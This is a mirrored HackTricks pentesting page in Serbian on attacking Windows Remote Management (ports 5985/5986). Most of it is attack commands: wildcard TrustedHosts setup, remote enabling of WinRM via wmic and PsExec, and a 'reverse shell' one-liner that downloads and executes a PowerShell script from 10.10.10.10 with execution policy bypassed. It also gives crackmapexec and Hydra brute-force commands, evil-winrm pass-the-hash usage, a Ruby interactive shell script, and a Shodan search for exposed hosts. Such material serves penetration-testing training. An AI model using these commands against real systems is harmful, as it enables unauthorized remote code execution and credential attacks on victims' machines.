mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-04 18:40:54 +00:00
323 lines
15 KiB
Markdown
323 lines
15 KiB
Markdown
# 5985,5986 - Testiranje sigurnosti WinRM
|
||
|
||
<details>
|
||
|
||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
||
Drugi načini podrške HackTricks-u:
|
||
|
||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)!
|
||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||
* Otkrijte [**Porodiču PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||
|
||
</details>
|
||
|
||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
Pridružite se [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) serveru kako biste komunicirali sa iskusnim hakerima i lovcima na bagove!
|
||
|
||
**Uvidi u Hakovanje**\
|
||
Uključite se u sadržaj koji istražuje uzbuđenje i izazove hakovanja
|
||
|
||
**Vesti o Hakovanju u Realnom Vremenu**\
|
||
Budite u toku sa brzim svetom hakovanja kroz vesti i uvide u realnom vremenu
|
||
|
||
**Najnovije Najave**\
|
||
Budite informisani o najnovijim nagradama za pronalaženje bagova i bitnim ažuriranjima platformi
|
||
|
||
**Pridružite nam se na** [**Discord-u**](https://discord.com/invite/N3FrSbmwdy) i počnite da sarađujete sa vrhunskim hakerima danas!
|
||
|
||
## WinRM
|
||
|
||
[Windows Remote Management (WinRM)](https://msdn.microsoft.com/en-us/library/windows/desktop/aa384426\(v=vs.85\).aspx) je istaknut kao **protokol od strane Microsoft-a** koji omogućava **udaljeno upravljanje Windows sistemima** putem HTTP(S), koristeći SOAP u procesu. Osnovno je pokretano od strane WMI, predstavljajući se kao interfejs zasnovan na HTTP-u za WMI operacije.
|
||
|
||
Prisustvo WinRM-a na mašini omogućava jednostavno udaljeno upravljanje putem PowerShell-a, slično kao što SSH funkcioniše za druge operativne sisteme. Da biste utvrdili da li je WinRM operativan, preporučuje se provera otvaranja određenih portova:
|
||
|
||
* **5985/tcp (HTTP)**
|
||
* **5986/tcp (HTTPS)**
|
||
|
||
Otvoren port sa liste iznad ukazuje da je WinRM podešen, omogućavajući pokušaje pokretanja udaljene sesije.
|
||
|
||
### **Pokretanje WinRM Sesije**
|
||
|
||
Za konfigurisanje PowerShell-a za WinRM, Microsoft-ov `Enable-PSRemoting` cmdlet dolazi u igru, postavljajući računar da prihvati udaljene PowerShell komande. Sa povišenim pristupom PowerShell-u, sledeće komande mogu biti izvršene kako bi se omogućila ova funkcionalnost i odredio bilo koji host kao pouzdan:
|
||
```powershell
|
||
Enable-PSRemoting -Force
|
||
Set-Item wsman:\localhost\client\trustedhosts *
|
||
```
|
||
Ovaj pristup uključuje dodavanje zamenskog znaka konfiguraciji `trustedhosts`, korak koji zahteva oprezno razmatranje zbog njegovih implikacija. Takođe se primećuje da može biti potrebno promeniti tip mreže sa "Javna" na "Rad" na napadačevom računaru.
|
||
|
||
Štaviše, WinRM se može **aktivirati udaljeno** korišćenjem `wmic` komande, što je prikazano na sledeći način:
|
||
```powershell
|
||
wmic /node:<REMOTE_HOST> process call create "powershell enable-psremoting -force"
|
||
```
|
||
Ovaj metod omogućava daljinsko podešavanje WinRM-a, poboljšavajući fleksibilnost u upravljanju Windows mašinama iz daljine.
|
||
|
||
### Testiranje konfiguracije
|
||
|
||
Da biste proverili konfiguraciju vaše napadačke mašine, komanda `Test-WSMan` se koristi za proveru da li je cilj pravilno konfigurisan za WinRM. Izvršavanjem ove komande, trebali biste očekivati detalje o verziji protokola i wsmid-u, što ukazuje na uspešnu konfiguraciju. U nastavku su primeri koji prikazuju očekivani izlaz za konfigurisani cilj u poređenju sa nekonfigurisanim:
|
||
|
||
* Za cilj koji **je** pravilno konfigurisan, izlaz će izgledati slično ovome:
|
||
```bash
|
||
Test-WSMan <target-ip>
|
||
```
|
||
### Izvršavanje komande
|
||
|
||
Da biste izvršili `ipconfig` udaljeno na ciljnom računaru i videli njegov izlaz uradite:
|
||
```powershell
|
||
Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /all} [-credential DOMAIN\username]
|
||
```
|
||
![](<../.gitbook/assets/image (151).png>)
|
||
|
||
Takođe možete **izvršiti komandu vaše trenutne PS konzole putem** _**Invoke-Command**_. Pretpostavimo da lokalno imate funkciju nazvanu _**enumeration**_ i želite da je **izvršite na udaljenom računaru**, možete to uraditi:
|
||
```powershell
|
||
Invoke-Command -ComputerName <computername> -ScriptBLock ${function:enumeration} [-ArgumentList "arguments"]
|
||
```
|
||
### Izvršavanje skripte
|
||
```powershell
|
||
Invoke-Command -ComputerName <computername> -FilePath C:\path\to\script\file [-credential CSCOU\jarrieta]
|
||
```
|
||
### Dobijanje obrnutog školjkaša
|
||
```powershell
|
||
Invoke-Command -ComputerName <computername> -ScriptBlock {cmd /c "powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.10.10:8080/ipst.ps1')"}
|
||
```
|
||
### Dobijanje PS sesije
|
||
|
||
Za dobijanje interaktivne PowerShell ljuske koristite `Enter-PSSession`:
|
||
```powershell
|
||
#If you need to use different creds
|
||
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
|
||
## Note the ".\" in the suername to indicate it's a local user (host domain)
|
||
$creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password)
|
||
|
||
# Enter
|
||
Enter-PSSession -ComputerName dcorp-adminsrv.dollarcorp.moneycorp.local [-Credential username]
|
||
## Bypass proxy
|
||
Enter-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
|
||
# Save session in var
|
||
$sess = New-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
|
||
Enter-PSSession $sess
|
||
## Background current PS session
|
||
Exit-PSSession # This will leave it in background if it's inside an env var (New-PSSession...)
|
||
```
|
||
![](<../.gitbook/assets/image (1009).png>)
|
||
|
||
**Sesija će se izvršiti u novom procesu (wsmprovhost) unutar "žrtve"**
|
||
|
||
### **Prisiljavanje otvaranja WinRM-a**
|
||
|
||
Za korišćenje PS udaljenog upravljanja i WinRM-a, ali računar nije konfigurisan, možete ga omogućiti sa:
|
||
```powershell
|
||
.\PsExec.exe \\computername -u domain\username -p password -h -d powershell.exe "enable-psremoting -force"
|
||
```
|
||
### Čuvanje i vraćanje sesija
|
||
|
||
Ovo **neće raditi** ako je **jezik** ograničen na udaljenom računaru.
|
||
```powershell
|
||
#If you need to use different creds
|
||
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
|
||
## Note the ".\" in the suername to indicate it's a local user (host domain)
|
||
$creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password)
|
||
|
||
#You can save a session inside a variable
|
||
$sess1 = New-PSSession -ComputerName <computername> [-SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)]
|
||
#And restore it at any moment doing
|
||
Enter-PSSession -Session $sess1
|
||
```
|
||
Unutar ovih sesija možete učitati PS skripte koristeći _Invoke-Command_
|
||
```powershell
|
||
Invoke-Command -FilePath C:\Path\to\script.ps1 -Session $sess1
|
||
```
|
||
### Greške
|
||
|
||
Ako pronađete sledeću grešku:
|
||
|
||
`enter-pssession : Povezivanje na udaljeni server 10.10.10.175 nije uspelo sa sledećom porukom o grešci : Klijent WinRM ne može obraditi zahtev. Ako je šema autentifikacije drugačija od Kerberosa, ili ako klijentsko računalo nije pridruženo domenu, tada se mora koristiti HTTPS prenos ili odredišnom računaru mora biti dodat u postavku konfiguracije TrustedHosts. Koristite winrm.cmd da konfigurišete TrustedHosts. Imajte na umu da računari na listi TrustedHosts možda nisu autentifikovani. Više informacija možete dobiti pokretanjem sledeće komande: winrm help config. Za više informacija, pogledajte temu pomoći about_Remote_Troubleshooting.`
|
||
|
||
Pokušajte na klijentu (informacije sa [ovde](https://serverfault.com/questions/657918/remote-ps-session-fails-on-non-domain-server)):
|
||
```ruby
|
||
winrm quickconfig
|
||
winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}'
|
||
```
|
||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
Pridružite se [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) serveru kako biste komunicirali sa iskusnim hakerima i lovcima na bagove!
|
||
|
||
**Hakerski uvidi**\
|
||
Uključite se u sadržaj koji istražuje uzbuđenje i izazove hakovanja
|
||
|
||
**Vesti o hakovanju u realnom vremenu**\
|
||
Budite u toku sa brzim svetom hakovanja kroz vesti i uvide u realnom vremenu
|
||
|
||
**Najnovije najave**\
|
||
Budite informisani o najnovijim nagradama za pronalaženje bagova i važnim ažuriranjima platforme
|
||
|
||
**Pridružite nam se na** [**Discord**](https://discord.com/invite/N3FrSbmwdy) i počnite da sarađujete sa vrhunskim hakerima danas!
|
||
|
||
## WinRM konekcija u Linuxu
|
||
|
||
### Brute Force
|
||
|
||
Budite oprezni, pokušaji brute-force napada na WinRM mogu blokirati korisnike.
|
||
```ruby
|
||
#Brute force
|
||
crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
|
||
|
||
#Just check a pair of credentials
|
||
# Username + Password + CMD command execution
|
||
crackmapexec winrm <IP> -d <Domain Name> -u <username> -p <password> -x "whoami"
|
||
# Username + Hash + PS command execution
|
||
crackmapexec winrm <IP> -d <Domain Name> -u <username> -H <HASH> -X '$PSVersionTable'
|
||
#Crackmapexec won't give you an interactive shell, but it will check if the creds are valid to access winrm
|
||
```
|
||
### Korišćenje evil-winrm
|
||
```ruby
|
||
gem install evil-winrm
|
||
```
|
||
Pročitajte **dokumentaciju** na njegovom githubu: [https://github.com/Hackplayers/evil-winrm](https://github.com/Hackplayers/evil-winrm)
|
||
```ruby
|
||
evil-winrm -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.' -i <IP>/<Domain>
|
||
```
|
||
Da biste koristili evil-winrm za povezivanje sa **IPv6 adresom**, kreirajte unos unutar _**/etc/hosts**_ postavljajući **imenik domena** na IPv6 adresu i povežite se sa tim domenom.
|
||
|
||
### Prosledite heš sa evil-winrm
|
||
```ruby
|
||
evil-winrm -u <username> -H <Hash> -i <IP>
|
||
```
|
||
### Korišćenje PS-docker mašine
|
||
```
|
||
docker run -it quickbreach/powershell-ntlm
|
||
$creds = Get-Credential
|
||
Enter-PSSession -ComputerName 10.10.10.149 -Authentication Negotiate -Credential $creds
|
||
```
|
||
### Korišćenje ruby skripte
|
||
|
||
**Kod izdvojen odavde:** [**https://alamot.github.io/winrm\_shell/**](https://alamot.github.io/winrm\_shell/)
|
||
```ruby
|
||
require 'winrm-fs'
|
||
|
||
# Author: Alamot
|
||
# To upload a file type: UPLOAD local_path remote_path
|
||
# e.g.: PS> UPLOAD myfile.txt C:\temp\myfile.txt
|
||
# https://alamot.github.io/winrm_shell/
|
||
|
||
|
||
conn = WinRM::Connection.new(
|
||
endpoint: 'https://IP:PORT/wsman',
|
||
transport: :ssl,
|
||
user: 'username',
|
||
password: 'password',
|
||
:no_ssl_peer_verification => true
|
||
)
|
||
|
||
|
||
class String
|
||
def tokenize
|
||
self.
|
||
split(/\s(?=(?:[^'"]|'[^']*'|"[^"]*")*$)/).
|
||
select {|s| not s.empty? }.
|
||
map {|s| s.gsub(/(^ +)|( +$)|(^["']+)|(["']+$)/,'')}
|
||
end
|
||
end
|
||
|
||
|
||
command=""
|
||
file_manager = WinRM::FS::FileManager.new(conn)
|
||
|
||
|
||
conn.shell(:powershell) do |shell|
|
||
until command == "exit\n" do
|
||
output = shell.run("-join($id,'PS ',$(whoami),'@',$env:computername,' ',$((gi $pwd).Name),'> ')")
|
||
print(output.output.chomp)
|
||
command = gets
|
||
if command.start_with?('UPLOAD') then
|
||
upload_command = command.tokenize
|
||
print("Uploading " + upload_command[1] + " to " + upload_command[2])
|
||
file_manager.upload(upload_command[1], upload_command[2]) do |bytes_copied, total_bytes, local_path, remote_path|
|
||
puts("#{bytes_copied} bytes of #{total_bytes} bytes copied")
|
||
end
|
||
command = "echo `nOK`n"
|
||
end
|
||
output = shell.run(command) do |stdout, stderr|
|
||
STDOUT.print(stdout)
|
||
STDERR.print(stderr)
|
||
end
|
||
end
|
||
puts("Exiting with code #{output.exitcode}")
|
||
end
|
||
```
|
||
## Shodan
|
||
|
||
* `port:5985 Microsoft-HTTPAPI`
|
||
|
||
## Reference
|
||
|
||
* [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/)
|
||
```
|
||
Protocol_Name: WinRM #Protocol Abbreviation if there is one.
|
||
Port_Number: 5985 #Comma separated if there is more than one.
|
||
Protocol_Description: Windows Remote Managment #Protocol Abbreviation Spelled out
|
||
|
||
Entry_1:
|
||
Name: Notes
|
||
Description: Notes for WinRM
|
||
Note: |
|
||
Windows Remote Management (WinRM) is a Microsoft protocol that allows remote management of Windows machines over HTTP(S) using SOAP. On the backend it's utilising WMI, so you can think of it as an HTTP based API for WMI.
|
||
|
||
sudo gem install winrm winrm-fs colorize stringio
|
||
git clone https://github.com/Hackplayers/evil-winrm.git
|
||
cd evil-winrm
|
||
ruby evil-winrm.rb -i 192.168.1.100 -u Administrator -p ‘MySuperSecr3tPass123!’
|
||
|
||
https://kalilinuxtutorials.com/evil-winrm-hacking-pentesting/
|
||
|
||
ruby evil-winrm.rb -i 10.10.10.169 -u melanie -p 'Welcome123!' -e /root/Desktop/Machines/HTB/Resolute/
|
||
^^so you can upload binary's from that directory or -s to upload scripts (sherlock)
|
||
menu
|
||
invoke-binary `tab`
|
||
|
||
#python3
|
||
import winrm
|
||
s = winrm.Session('windows-host.example.com', auth=('john.smith', 'secret'))
|
||
print(s.run_cmd('ipconfig'))
|
||
print(s.run_ps('ipconfig'))
|
||
|
||
https://book.hacktricks.xyz/pentesting/pentesting-winrm
|
||
|
||
Entry_2:
|
||
Name: Hydra Brute Force
|
||
Description: Need User
|
||
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} rdp://{IP}
|
||
```
|
||
|
||
|
||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
Pridružite se [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) serveru kako biste komunicirali sa iskusnim hakerima i lovcima na bagove!
|
||
|
||
**Hakerski uvidi**\
|
||
Uključite se u sadržaj koji istražuje uzbuđenje i izazove hakovanja
|
||
|
||
**Vesti o hakovanju u realnom vremenu**\
|
||
Budite u toku sa dinamičnim svetom hakovanja kroz vesti i uvide u realnom vremenu
|
||
|
||
**Najnovije najave**\
|
||
Budite informisani o najnovijim nagradama za pronalaženje bagova i ključnim ažuriranjima platformi
|
||
|
||
**Pridružite nam se na** [**Discord-u**](https://discord.com/invite/N3FrSbmwdy) i počnite da sarađujete sa vrhunskim hakerima danas!
|
||
|
||
<details>
|
||
|
||
<summary><strong>Naučite hakovanje AWS-a od početnika do stručnjaka sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
||
Drugi načini podrške HackTricks-u:
|
||
|
||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)!
|
||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Podelite svoje hakovanje trikova slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||
|
||
</details>
|